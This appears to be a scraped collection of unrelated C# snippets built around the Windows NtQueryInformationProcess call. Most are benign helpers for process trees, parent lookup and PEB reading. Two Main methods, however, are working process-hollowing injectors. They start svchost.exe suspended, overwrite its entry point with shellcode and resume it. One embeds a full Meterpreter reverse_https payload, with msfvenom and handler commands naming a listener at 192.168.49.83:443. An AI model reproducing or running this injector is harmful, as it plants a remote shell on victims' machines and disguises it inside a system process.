static extern int NtQueryInformationProcess( IntPtr hProcess, int processInformationClass /* 0 */, ref PROCESS_BASIC_INFORMATION processBasicInformation, uint processInformationLength, out uint returnLength );
//TODO: add selft check = were all the processed killed ? public static void KillProcessTree(Process root) { // Retrieve all processes on the system Process[] processes = Process.GetProcesses(); foreach (Process p in processes) { // Get some basic information about the process PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); uint bytesWritten; NtQueryInformationProcess(p.Handle, 0, ref pbi, (uint)Marshal.SizeOf(pbi), out bytesWritten); // == 0 is OK // Is it a child process of the process we're trying to terminate? if (pbi.InheritedFromUniqueProcessId == root.Id) { // The terminate the child process and its child processes KillProcessTree(p); } } try { TerminateProcess((uint)root.Id, 0); } catch(Win32Exception){} }
public static Process Parent(this Process process) { if (process == null) return null; var pbi = new PROCESS_BASIC_INFORMATION(); var ntstatus = NtQueryInformationProcess(process.Handle, PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, PROCESS_BASIC_INFORMATION.MarshalSize, IntPtr.Zero); if (ntstatus != 0) throw new Win32Exception(ntstatus); var parentPid = pbi.Reserved3.ToInt32(); return AllProcesses.SingleOrDefault(x => x.Id == parentPid); }
/// <summary> /// Gets the parent process of a specified process. /// </summary> /// <param name="handle">The process handle.</param> /// <returns>An instance of the Process class.</returns> public static Process GetParentProcess(IntPtr handle) { PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); int returnLength; int status = NativeMethods.NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength); if (status != 0) throw new Win32Exception(status); try { return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32()); } catch (ArgumentException) { // not found return null; } }
public static PROCESS_BASIC_INFORMATION Info(this Process process) { var processInfo = new PROCESS_BASIC_INFORMATION(); try { uint bytesWritten; NtQueryInformationProcess(process.Handle, 0, ref processInfo, (uint) Marshal.SizeOf(processInfo), out bytesWritten); // == 0 is OK } catch (Win32Exception e) { if (!e.Message.Equals("Access is denied")) throw; } return processInfo; }
/// <summary> /// Returns the parent process id for the specified process. /// Returns zero if it cannot be gotten for some reason. /// </summary> internal static int GetParentProcessId(int processId) { int ParentID = 0; SafeProcessHandle hProcess = OpenProcess(eDesiredAccess.PROCESS_QUERY_INFORMATION, false, processId); if (!hProcess.IsInvalid) { try { // UNDONE: NtQueryInformationProcess will fail if we are not elevated and other process is. Advice is to change to use ToolHelp32 API's // For now just return zero and worst case we will not kill some children. PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); int pSize = 0; if (0 == NtQueryInformationProcess(hProcess, PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, pbi.Size, ref pSize)) { ParentID = (int)pbi.InheritedFromUniqueProcessId; } } finally { hProcess.Dispose(); } } return (ParentID); }
static void Main(string[] args) { // Shellcode // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.56.133 LPORT=443 EXITFUNC=thread -f csharp byte[] buf = new byte[] { }; string shellcodeb64 = ""; buf = null; buf = Convert.FromBase64String(shellcodeb64); // Variables para la creación del proceso // Process Name string ProcName = @"C:\Windows\System32\svchost.exe"; // STARTUPINFO STARTUPINFO si = new STARTUPINFO(); // PROCESS_INFORMATION PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); // SECURITY_ATTRIBUTES SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); // Create Process in SUSPENDED Mode (CreateProcess) bool status = CreateProcess(null, ProcName, ref pSec, ref tSec, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); Console.WriteLine("[>] Proceso creado en modo suspendido."); Console.WriteLine(" | -> Nombre del proceso: " + ProcName); Console.WriteLine(" | -> ID del proceso: " + pi.dwProcessId); Console.WriteLine(" | -> ID del thread (hilo): " + pi.dwThreadId); // Variables para consultar la información del proceso // Process Handle IntPtr pHandle = pi.hProcess; // PROCESS_BASIC_INFORMATION PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); // PROCESSINFOCLASS PROCESSINFOCLASS pic = new PROCESSINFOCLASS(); // returnLength int returnLength; // Obtener la información del proceso para buscar el PEB (NtQueryInformationProcess) int resultNtQuery = NtQueryInformationProcess(pHandle, pic, out pbi, Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)), out returnLength); Console.WriteLine("\n[>] Informacion del proceso " + ProcName + " obtenida."); Console.WriteLine(" | -> PEB: 0x{0:X16}", pbi.PebBaseAddress.ToInt64()); // Calculo de la ubicación del valor del ImageBaseAddress - WinDBG IntPtr ptrImageBase = (IntPtr)((Int64)pbi.PebBaseAddress + 0x10); // Variables para guardar el valor de ImageBaseAddress // ImageBaseAddress byte byte[] ImageBaseAddress = new byte[8]; // bytesRead IntPtr bytesRead; // Leer 8 bytes de memoria en la ubicación del PEB para obtener la dirección del ImageBaseAddress (ReadProcessMemory) status = ReadProcessMemory(pHandle, ptrImageBase, ImageBaseAddress, 8, out bytesRead); IntPtr ProcessBaseAddr = (IntPtr)BitConverter.ToInt64(ImageBaseAddress, 0); Console.WriteLine(" | -> ImageBaseAddress: 0x{0:X16}", ProcessBaseAddr.ToInt64()); // Variable para almacenar el contenido de la memoria byte[] dataPE = new byte[0x200]; // Leer 512 Bytes de memoria en la ubicación del ImageBaseAddress (ReadProcessMemory) status = ReadProcessMemory(pHandle, ProcessBaseAddr, dataPE, dataPE.Length, out bytesRead); // Obtener el valor de e_lfanew // 0x3C - Ubicación uint e_lfanew = BitConverter.ToUInt32(dataPE, 0x3C); // Obtener el valor de opthdr (optional header a partir del e_lfanew) // e_lfanew + 0x28 uint opthdr = e_lfanew + 0x28; // Obtener el valor del entrypoint_rva uint entrypoint_rva = BitConverter.ToUInt32(dataPE, (int)opthdr); // Obtener el valor del AddressOfEntryPoint // entrypoint_rva + ImageBaseAddress IntPtr addressOfEntryPoint = (IntPtr)((UInt64)ProcessBaseAddr + entrypoint_rva); Console.WriteLine(" | -> addressOfEntryPoint: 0x{0:X16}", addressOfEntryPoint.ToInt64()); // Copiar el shellcode al AddressOfEntryPoint IntPtr readbytes; WriteProcessMemory(pHandle, addressOfEntryPoint, buf, buf.Length, out readbytes); // Resumir el Thread (ResumeThread) ResumeThread(pi.hThread); Console.ReadLine(); }
public static extern int NtQueryInformationProcess(IntPtr hProcess, int pic, ref PROCESS_BASIC_INFORMATION pbi, int cb, ref int pSize);
private static string GetProcessParametersString(int processId, PEB_OFFSET Offset, RunningProcess pre) { IntPtr handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, processId); if (handle == IntPtr.Zero) { return(null); } ///////////////////// Get the username associated with the process /////////////////// string username = LookupAccountName.GetProcessUser(handle, pre); if (username != null) { pre.UserName = username; } ///////////////////////////////////////////////////////////////////////////////////// /////////////////// Get Working Set Counters /////////////////////////////////////// PROCESS_MEMORY_COUNTERS memoryCounters; memoryCounters.cb = (uint)Marshal.SizeOf(typeof(PROCESS_MEMORY_COUNTERS)); if (GetProcessMemoryInfo(handle, out memoryCounters, memoryCounters.cb)) { pre.WorkingSet = (int)memoryCounters.WorkingSetSize; //pre.workingsetstr = pre.workingset.ToString("#,##0") + " " + "Bytes"; } //////////////////////////////////////////////////////////////////////////////////// FILETIME lpCreationTime = new FILETIME(); FILETIME lpUserTime = new FILETIME(); FILETIME lpKernelTime = new FILETIME(); FILETIME lpExitTime = new FILETIME(); bool retval = GetProcessTimes(handle, out lpCreationTime, out lpExitTime, out lpKernelTime, out lpUserTime); if (retval == true) { string sc = ConvertTimeToString(lpCreationTime.DateTimeHigh, lpCreationTime.DateTimeLow, true); pre.StartTime = DateTime.Parse(sc); string kr = ConvertTimeToString(lpKernelTime.DateTimeHigh, lpKernelTime.DateTimeLow, false); pre.KernalTime = kr; string ut = ConvertTimeToString(lpUserTime.DateTimeHigh, lpUserTime.DateTimeLow, false); pre.UserTime = ut; } bool IsWow64Process = PlatformCheck.InternalCheckIsWow64(); bool IsTargetWow64Process = PlatformCheck.GetProcessIsWow64(handle); bool IsTarget64BitProcess = Is64BitOperatingSystem && !IsTargetWow64Process; pre.IsWow64 = IsTargetWow64Process; long offset = 0; long processParametersOffset = IsTarget64BitProcess ? 0x20 : 0x10; long offsetldr = 0x0c; switch (Offset) { case PEB_OFFSET.CurrentDirectory: offset = IsTarget64BitProcess ? 0x38 : 0x24; break; case PEB_OFFSET.CommandLine: offset = Is64BitOperatingSystem ? 0x70 : 0x40; if (offset == 0x70 && IsTargetWow64Process) { offset = 0x40; } break; default: return(null); } try { long pebAddress = 0; if (IsTargetWow64Process) // OS : 64Bit, Cur : 32 or 64, Tar: 32bit { IntPtr peb32 = new IntPtr(); int hr = NtQueryInformationProcess(handle, (int)PROCESSINFOCLASS.ProcessWow64Information, ref peb32, IntPtr.Size, IntPtr.Zero); if (hr != 0) { return(null); } pebAddress = peb32.ToInt64(); IntPtr pp = new IntPtr(); if (!ReadProcessMemory(handle, new IntPtr(pebAddress + processParametersOffset), ref pp, new IntPtr(Marshal.SizeOf(pp)), IntPtr.Zero)) { return(null); } UNICODE_STRING_32 us = new UNICODE_STRING_32(); if (!ReadProcessMemory(handle, new IntPtr(pp.ToInt64() + offset), ref us, new IntPtr(Marshal.SizeOf(us)), IntPtr.Zero)) { return(null); } if ((us.Buffer == 0) || (us.Length == 0)) { return(null); } string s = new string('\0', us.Length / 2); if (!ReadProcessMemory(handle, new IntPtr(us.Buffer), s, new IntPtr(us.Length), IntPtr.Zero)) { return(null); } UNICODE_STRING_32 us2 = new UNICODE_STRING_32(); if (!ReadProcessMemory(handle, new IntPtr(pp.ToInt64() + offset - 8), ref us2, new IntPtr(Marshal.SizeOf(us2)), IntPtr.Zero)) { return(null); } if ((us2.Buffer == 0) || (us2.Length == 0)) { return(null); } string s2 = new string('\0', us2.Length / 2); if (!ReadProcessMemory(handle, new IntPtr(us2.Buffer), s2, new IntPtr(us2.Length), IntPtr.Zero)) { return(null); } pre.Arguments = s; pre.Path = s2; //////////// Read Loader //////// PEB_LDR_DATA ldr1 = new PEB_LDR_DATA(); IntPtr ldrp = StructToPtr(ldr1); if (!ReadProcessMemory(handle, new IntPtr(pebAddress + 0x0c), ref ldrp, new IntPtr(Marshal.SizeOf(ldr1)), IntPtr.Zero)) { return(null); } /// We have long ldraddress = ldrp.ToInt64(); IntPtr le1 = new IntPtr(ldraddress + 0x0c); if (!ReadProcessMemory(handle, new IntPtr(ldraddress + 0xc), ref le1, new IntPtr(Marshal.SizeOf(le1)), IntPtr.Zero)) { return(null); } while (le1 != null) { UNICODE_STRING_32 us3 = new UNICODE_STRING_32(); if (!ReadProcessMemory(handle, new IntPtr(le1.ToInt64() + 0x24), ref us3, new IntPtr(Marshal.SizeOf(us3)), IntPtr.Zero)) { return(null); } if ((us3.Buffer == 0) || (us3.Length == 0)) { return(null); } string s3 = new string('\0', us3.Length / 2); if (!ReadProcessMemory(handle, new IntPtr(us3.Buffer), s3, new IntPtr(us3.Length), IntPtr.Zero)) { return(null); } long nextlist = le1.ToInt64(); IntPtr nextlistp = new IntPtr(nextlist); if (!ReadProcessMemory(handle, nextlistp, ref le1, new IntPtr(Marshal.SizeOf(le1)), IntPtr.Zero)) { return(null); } LoadedModule pme = new LoadedModule(); pme.ModulePath = s3; pre.ListProcessModule.Add(pme); } return(s); } else if (IsWow64Process)//Os : 64Bit, Cur 32, Tar 64 { PROCESS_BASIC_INFORMATION_WOW64 pbi = new PROCESS_BASIC_INFORMATION_WOW64(); int hr = NtWow64QueryInformationProcess64(handle, (int)PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, Marshal.SizeOf(pbi), IntPtr.Zero); if (hr != 0) { return(null); } pebAddress = pbi.PebBaseAddress; long pp = 0; hr = NtWow64ReadVirtualMemory64(handle, pebAddress + processParametersOffset, ref pp, Marshal.SizeOf(pp), IntPtr.Zero); if (hr != 0) { return(null); } UNICODE_STRING_WOW64 us = new UNICODE_STRING_WOW64(); hr = NtWow64ReadVirtualMemory64(handle, pp + offset, ref us, Marshal.SizeOf(us), IntPtr.Zero); if (hr != 0) { return(null); } if ((us.Buffer == 0) || (us.Length == 0)) { return(null); } string s = new string('\0', us.Length / 2); hr = NtWow64ReadVirtualMemory64(handle, us.Buffer, s, us.Length, IntPtr.Zero); if (hr != 0) { return(null); } if (pre != null) { pre.Arguments = s; } UNICODE_STRING_WOW64 us2 = new UNICODE_STRING_WOW64(); hr = NtWow64ReadVirtualMemory64(handle, pp + offset - Marshal.SizeOf(us2), ref us2, Marshal.SizeOf(us2), IntPtr.Zero); if (hr != 0) { return(null); } if ((us2.Buffer == 0) || (us2.Length == 0)) { return(null); } string s2 = new string('\0', us2.Length / 2); hr = NtWow64ReadVirtualMemory64(handle, us2.Buffer, s2, us2.Length, IntPtr.Zero); if (hr != 0) { return(null); } // Console.WriteLine("IM : " + s2); pre.Path = s2; /////////////////////For Testing if (s2 != null && ((s2.ToLower().Contains("taskmgr.exe") == false))) { //return s2; } //////////// Read Loader //////// long ldrp = 0; if (NtWow64ReadVirtualMemory64(handle, pebAddress + 0x18, ref ldrp, sizeof(long), IntPtr.Zero) != 0) { return(null); } /// We have long ldraddress = ldrp + 0x10; long le1 = 0; if (NtWow64ReadVirtualMemory64(handle, ldraddress, ref le1, sizeof(long), IntPtr.Zero) != 0) { return(null); } while (le1 != 0) { UNICODE_STRING_WOW64 us3 = new UNICODE_STRING_WOW64(); hr = NtWow64ReadVirtualMemory64(handle, le1 + 0x48, ref us3, Marshal.SizeOf(us3), IntPtr.Zero); if (hr != 0) { return(null); } if ((us3.Buffer == 0) || (us3.Length == 0)) { return(null); } string s3 = new string('\0', us3.Length / 2); hr = NtWow64ReadVirtualMemory64(handle, us3.Buffer, s3, us3.Length, IntPtr.Zero); if (hr != 0) { return(null); } long nextlist = le1; hr = NtWow64ReadVirtualMemory64(handle, nextlist, ref le1, sizeof(long), IntPtr.Zero); if (hr != 0) { return(null); } LoadedModule pme = new LoadedModule(); pme.ModulePath = s3; pre.ListProcessModule.Add(pme); } return(s); } else// Os,Cur,Tar : 64 or 32 { PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); int hr = NtQueryInformationProcess(handle, (int)PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, Marshal.SizeOf(pbi), IntPtr.Zero); if (hr != 0) { return(null); } pebAddress = pbi.PebBaseAddress.ToInt64(); IntPtr pp = new IntPtr(); if (!ReadProcessMemory(handle, new IntPtr(pebAddress + processParametersOffset), ref pp, new IntPtr(Marshal.SizeOf(pp)), IntPtr.Zero)) { return(null); } UNICODE_STRING us = new UNICODE_STRING(); if (!ReadProcessMemory(handle, new IntPtr((long)pp + offset), ref us, new IntPtr(Marshal.SizeOf(us)), IntPtr.Zero)) { return(null); } if ((us.Buffer == IntPtr.Zero) || (us.Length == 0)) { return(null); } string s = new string('\0', us.Length / 2); if (!ReadProcessMemory(handle, us.Buffer, s, new IntPtr(us.Length), IntPtr.Zero)) { return(null); } UNICODE_STRING us2 = new UNICODE_STRING(); if (!ReadProcessMemory(handle, new IntPtr((long)pp + offset - Marshal.SizeOf(us2)), ref us2, new IntPtr(Marshal.SizeOf(us2)), IntPtr.Zero)) { return(null); } if ((us2.Buffer == IntPtr.Zero) || (us2.Length == 0)) { return(null); } string s2 = new string('\0', us2.Length / 2); if (!ReadProcessMemory(handle, us2.Buffer, s2, new IntPtr(us2.Length), IntPtr.Zero)) { return(null); } pre.Path = s2; pre.Arguments = s; //////////// Read Loader //////// PEB_LDR_DATA ldr1 = new PEB_LDR_DATA(); IntPtr ldrp = StructToPtr(ldr1); if (!ReadProcessMemory(handle, new IntPtr(pebAddress + 0x0c), ref ldrp, new IntPtr(Marshal.SizeOf(ldr1)), IntPtr.Zero)) { return(null); } /// We have long ldraddress = ldrp.ToInt64(); IntPtr le1 = new IntPtr(ldraddress + 0x0c); if (!ReadProcessMemory(handle, new IntPtr(ldraddress + 0xc), ref le1, new IntPtr(Marshal.SizeOf(le1)), IntPtr.Zero)) { return(null); } while (le1 != null) { UNICODE_STRING_32 us3 = new UNICODE_STRING_32(); if (!ReadProcessMemory(handle, new IntPtr(le1.ToInt64() + 0x24), ref us3, new IntPtr(Marshal.SizeOf(us3)), IntPtr.Zero)) { return(null); } if ((us3.Buffer == 0) || (us3.Length == 0)) { return(null); } string s3 = new string('\0', us3.Length / 2); if (!ReadProcessMemory(handle, new IntPtr(us3.Buffer), s3, new IntPtr(us3.Length), IntPtr.Zero)) { return(null); } long nextlist = le1.ToInt64(); IntPtr nextlistp = new IntPtr(nextlist); if (!ReadProcessMemory(handle, nextlistp, ref le1, new IntPtr(Marshal.SizeOf(le1)), IntPtr.Zero)) { return(null); } LoadedModule pme = new LoadedModule(); pme.ModulePath = s3; pre.ListProcessModule.Add(pme); } return(s); } } finally { CloseHandle(handle); } }
/// <summary> /// Helper that tests process parent-child inheritance. /// </summary> /// <param name="matchSame">Value to return if/when process ids are the same.</param> public static bool IsProcessAAncestorOfProcessB( int processId_A, int processId_B, bool matchSame = true, int maxHops = int.MaxValue) { if (processId_A == processId_B) { return matchSame; } // Get process handle from the process id. //Process pB = Process.GetProcessById(processId_B); // This throws if process not found, which is undesirable. var hProcess = OpenProcess(ProcessAccessFlags.QueryInformation, false, processId_B); if (hProcess == IntPtr.Zero) { return false; } // Get info about the process. PROCESS_BASIC_INFORMATION processInfoB = new PROCESS_BASIC_INFORMATION(); uint bytesWritten; int ntStatus = NtQueryInformationProcess( hProcess, 0, ref processInfoB, (uint)Marshal.SizeOf(processInfoB), out bytesWritten); // == 0 is OK CloseHandle(hProcess); if (0 != ntStatus) { Debug.Assert(false); return false; } // Does B directly inherit from A? if (processInfoB.InheritedFromUniqueProcessId == processId_A) { return true; } // Optionally recurse up the hierarchy. if (maxHops > 0) { if (processInfoB.InheritedFromUniqueProcessId != 0) { return IsProcessAAncestorOfProcessB( processId_A, (int)processInfoB.InheritedFromUniqueProcessId, matchSame, maxHops -1); } } // No match. return false; }
public static Int64 GetProcessBaseAddress(Process _process) { process = _process; int processId = process.Id; _handle = OpenProcessHandle(process); if (handle == IntPtr.Zero) { throw new Win32Exception(Marshal.GetLastWin32Error()); } bool Is64BitOperatingSystem = Is64BitChecker.isWindows64bit(); //bool IsWow64Process = Is64BitChecker.InternalCheckIsWow64(handle); bool IsTargetWow64BitProcess = Is64BitChecker.GetProcessIsWow64(handle); bool IsTarget64BitProcess = Is64BitOperatingSystem && !IsTargetWow64BitProcess; long processParametersOffset = IsTarget64BitProcess ? 0x10 : 0x8;//オリジナルはox20 ox10 Int64 pebAddress = 0; try { int hr; if (IsTargetWow64BitProcess) // OS : 64Bit Cur : 32 or 64, Tar: 32bit { isCpuMode = PROCESSMODE.isTaeget32bit; IntPtr peb32 = new IntPtr(); hr = UnsafeNativeMethods.NtQueryInformationProcess(handle, (int)PROCESSINFOCLASS.ProcessWow64Information, ref peb32, IntPtr.Size, IntPtr.Zero); if (hr != 0) { throw new Win32Exception(hr); } pebAddress = peb32.ToInt64(); IntPtr pp = new IntPtr(); if (!UnsafeNativeMethods.ReadProcessMemory(handle, new IntPtr(pebAddress + processParametersOffset), ref pp, new IntPtr(Marshal.SizeOf(pp)), IntPtr.Zero)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } return(pp.ToInt64()); } else if (false)//Os : 64Bit, Cur 32, Tar 64 ThisProgram 32 { isCpuMode = PROCESSMODE.isMy32bitTargetWow64bit; PROCESS_BASIC_INFORMATION_WOW64 pbi = new PROCESS_BASIC_INFORMATION_WOW64(); hr = NtWow64QueryInformationProcess64(handle, (int)PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, Marshal.SizeOf(pbi), IntPtr.Zero); if (hr != 0) { throw new Win32Exception(hr); } pebAddress = pbi.PebBaseAddress; long pp = 0; hr = UnsafeNativeMethods.NtWow64ReadVirtualMemory64(handle, pebAddress + processParametersOffset, ref pp, Marshal.SizeOf(pp), IntPtr.Zero); if (hr != 0) { throw new Win32Exception(hr); } return(pp); } else// Os,Cur,Tar : 64 or 32 { isCpuMode = PROCESSMODE.isTarget64bit; PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); hr = NtQueryInformationProcess(handle, (int)PROCESSINFOCLASS.ProcessBasicInformation, ref pbi, Marshal.SizeOf(pbi), IntPtr.Zero); if (hr != 0) { throw new Win32Exception(hr); } pebAddress = pbi.PebBaseAddress.ToInt64(); IntPtr pp = new IntPtr(); if (!UnsafeNativeMethods.ReadProcessMemory(handle, new IntPtr(pebAddress + processParametersOffset), ref pp, new IntPtr(Marshal.SizeOf(pp)), IntPtr.Zero)) { throw new Win32Exception(Marshal.GetLastWin32Error()); } return(pp.ToInt64()); } } catch (Exception e) { } finally { UnsafeNativeMethods.CloseHandle(handle); } //Return Base Image Address. return(pebAddress); }
public static Process GetParentProcess(IntPtr Handle) { try { PROCESS_BASIC_INFORMATION PBI = new PROCESS_BASIC_INFORMATION(); int ReturnLength; int Status = NtQueryInformationProcess(Handle, 0, ref PBI, PBI.Size, out ReturnLength); if (Status != 0) throw new System.ComponentModel.Win32Exception(Status); try { return Process.GetProcessById(PBI.InheritedFromUniqueProcessId.ToInt32()); } catch (ArgumentException) //not found { return null; } } catch //Not enough privileges { return null; } }
static void Main(string[] args) { STARTUPINFO si = new STARTUPINFO(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi); PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); uint tmp = 0; IntPtr hProcess = pi.hProcess; ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp); IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10); byte[] addrBuf = new byte[IntPtr.Size]; IntPtr nRead = IntPtr.Zero; ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); byte[] data = new byte[0x200]; ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead); uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C); uint opthdr = e_lfanew_offset + 0x28; uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr); IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); //msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.49.83 LPORT=443 -f csharp //msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.49.83; set LPORT 443; run" byte[] buf = new byte[628] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x51, 0x48, 0x8b, 0x52, 0x18, 0x56, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x48, 0x8b, 0x72, 0x50, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x0f, 0x85, 0x72, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x8b, 0x48, 0x18, 0x50, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x4d, 0x31, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x41, 0x58, 0x41, 0x58, 0x48, 0x01, 0xd0, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4b, 0xff, 0xff, 0xff, 0x5d, 0x48, 0x31, 0xdb, 0x53, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x48, 0x89, 0xe1, 0x49, 0xc7, 0xc2, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x53, 0x53, 0x48, 0x89, 0xe1, 0x53, 0x5a, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x53, 0x53, 0x49, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0xe8, 0x0e, 0x00, 0x00, 0x00, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x34, 0x39, 0x2e, 0x38, 0x33, 0x00, 0x5a, 0x48, 0x89, 0xc1, 0x49, 0xc7, 0xc0, 0xbb, 0x01, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x53, 0x53, 0x6a, 0x03, 0x53, 0x49, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0xe8, 0x4b, 0x00, 0x00, 0x00, 0x2f, 0x6b, 0x54, 0x4a, 0x46, 0x46, 0x72, 0x72, 0x6b, 0x31, 0x72, 0x6a, 0x38, 0x7a, 0x5f, 0x33, 0x4e, 0x6f, 0x78, 0x6d, 0x4a, 0x62, 0x67, 0x64, 0x61, 0x5f, 0x41, 0x72, 0x66, 0x56, 0x4c, 0x68, 0x31, 0x49, 0x73, 0x5a, 0x52, 0x31, 0x4b, 0x57, 0x63, 0x46, 0x53, 0x31, 0x76, 0x46, 0x43, 0x34, 0x7a, 0x73, 0x4f, 0x32, 0x70, 0x49, 0x7a, 0x48, 0x44, 0x6c, 0x56, 0x63, 0x77, 0x4a, 0x41, 0x70, 0x6f, 0x73, 0x51, 0x4b, 0x4e, 0x7a, 0x51, 0x30, 0x6c, 0x68, 0x00, 0x48, 0x89, 0xc1, 0x53, 0x5a, 0x41, 0x58, 0x4d, 0x31, 0xc9, 0x53, 0x48, 0xb8, 0x00, 0x32, 0xa8, 0x84, 0x00, 0x00, 0x00, 0x00, 0x50, 0x53, 0x53, 0x49, 0xc7, 0xc2, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x6a, 0x1f, 0x5a, 0x52, 0x68, 0x80, 0x33, 0x00, 0x00, 0x49, 0x89, 0xe0, 0x6a, 0x04, 0x41, 0x59, 0x49, 0xba, 0x75, 0x46, 0x9e, 0x86, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x4d, 0x31, 0xc0, 0x53, 0x5a, 0x48, 0x89, 0xf1, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc9, 0x53, 0x53, 0x49, 0xc7, 0xc2, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x75, 0x1f, 0x48, 0xc7, 0xc1, 0x88, 0x13, 0x00, 0x00, 0x49, 0xba, 0x44, 0xf0, 0x35, 0xe0, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0xff, 0xcf, 0x74, 0x02, 0xeb, 0xaa, 0xe8, 0x55, 0x00, 0x00, 0x00, 0x53, 0x59, 0x6a, 0x40, 0x5a, 0x49, 0x89, 0xd1, 0xc1, 0xe2, 0x10, 0x49, 0xc7, 0xc0, 0x00, 0x10, 0x00, 0x00, 0x49, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x49, 0xba, 0x12, 0x96, 0x89, 0xe2, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb2, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd2, 0x58, 0xc3, 0x58, 0x6a, 0x00, 0x59, 0x49, 0xc7, 0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5 }; WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead); ResumeThread(pi.hThread); }
